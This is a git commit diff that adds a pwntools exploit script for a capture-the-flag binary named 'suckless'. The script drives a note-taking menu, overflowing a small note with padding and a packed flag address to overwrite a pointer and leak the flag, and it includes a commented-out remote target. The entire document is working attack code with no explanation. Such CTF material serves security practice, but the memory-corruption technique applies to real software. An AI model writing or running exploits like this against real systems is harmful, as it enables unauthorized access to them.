Initial import.HEADmaster

1 files changed, 43 insertions, 0 deletions

diff --git a/suckless2/exploit.py b/suckless2/exploit.py
new file mode 100644
index 0000000..5ebdaf9
--- /dev/null
+++ b/suckless2/exploit.py
@@ -0,0 +1,43 @@
+import struct
+
+from pwn import *
+context(arch="x86_64", os="linux")
+
+FLAG_ADDR = 0x42a3cc
+
+p = process(["./suckless"], False, "./suckless")
+print("Here")
+# p = remote('34.75.105.136',1029)
+
+# Allocate first chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"A" * 16) + struct.pack("Q", FLAG_ADDR))
+p.recvuntil("> ")
+p.sendline("show")
+p.recvuntil("address: ")
+dbg = int(p.recvline(), 16)
+
+# Allocate dummy chunk.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline((b"B" * 8))
+p.recvuntil("> ")
+p.sendline("show")
+
+# Overwrite versionptr.
+p.recvuntil("> ")
+p.sendline("new")
+p.recvuntil("note length: ")
+p.sendline("8")
+p.recvuntil("note: ")
+p.sendline()
+p.recvuntil("> ")
+p.sendline("show")
+print(p.recvuntil("> "))